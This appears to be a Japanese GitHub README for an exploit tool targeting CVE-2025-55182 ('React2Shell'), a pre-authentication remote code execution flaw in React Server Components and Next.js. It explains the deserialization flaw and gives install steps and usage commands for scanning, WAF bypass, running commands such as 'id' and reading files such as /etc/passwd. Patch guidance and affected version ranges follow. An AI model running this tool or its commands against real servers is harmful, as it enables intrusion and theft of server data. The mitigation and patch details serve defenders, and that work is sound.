
認証前のRCEエクスプロイト(CVE-2025-55182、React2Shell)で、React Server Componentsを標的にします。スキャン、OAST検証、WAFバイパス、コマンド実行、ファイル読み取り機能を備えています。
プリオーセンテーション(事前認証)によるリモートコード実行 React Server Components (RSC)、Next.js、および関連フレームワークにおいて。
CVE-2025-55182(別名 React2Shell)は、React Server Components (RSC) エコシステムに影響を与える深刻な事前認証 RCE 脆弱性です。認証されていない攻撃者は、単一の巧妙に細工された HTTP POST リクエストで脆弱なサーバーを完全に侵害できます。
React Server Components は、React Flight と呼ばれるカスタムワイヤーフォーマットを使用して関数参照とモジュール呼び出しをシリアライズします。脆弱性は、RSC エンドポイントへの着信 POST リクエストを処理するペイロードデコードメカニズムに存在します。
サーバーが React Flight ペイロードを受信すると、適切な検証なしでコンテンツをデシリアライズし、攻撃者が制御する $$typeof フィールドとモジュール参照解決を信頼します。これにより、攻撃者は以下のことが可能になります:
child_process、fs、net)を参照する$F(関数)型マーカーを介して関数呼び出しを連鎖させる
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
id、whoami)。/etc/passwd、package.json)。git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
使用法
基本スキャン
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json
OAST で RCE を確認
python3 poc.py -t https://target.com -m verify --oast your.oast.domain
完全バイパステスト
python3 poc.py -t https://target.com -m bypass --verbose
コマンド実行
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20
ファイル読み取り
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"
プロキシ使用 (例: Burp Suite)
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080
ファイル構成
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
├── __init__.py
├── payloads.py
├── scanner.py
├── bypass.py
└── rce.py
緩和策
パッチ(推奨)
npm install [email protected]
npm install [email protected] [email protected]
一時的な回避策
· サーバー関数 ("use server") を無効にする · WAF ルールで Content-Type: text/x-component をブロック · RSC エンドポイントのネットワークセグメンテーション
参考文献
· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182
免責事項:認可されたセキュリティテストのみを対象としています。
作者: SentinelX · https://t.me/SentinelXsecurity
| パッケージ | 脆弱性あり | 修正済み |
|---|
react-server-dom-webpack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-parcel | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-turbopack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
next (13.x) | 13.3.0 – 13.5.x | ≥ 14.2.35 |
next (14.x) | 14.0.0 – 14.2.34 | ≥ 14.2.35 |
next (15.x) | 15.0.0+ (パッチ参照) | パッチ適用リリース |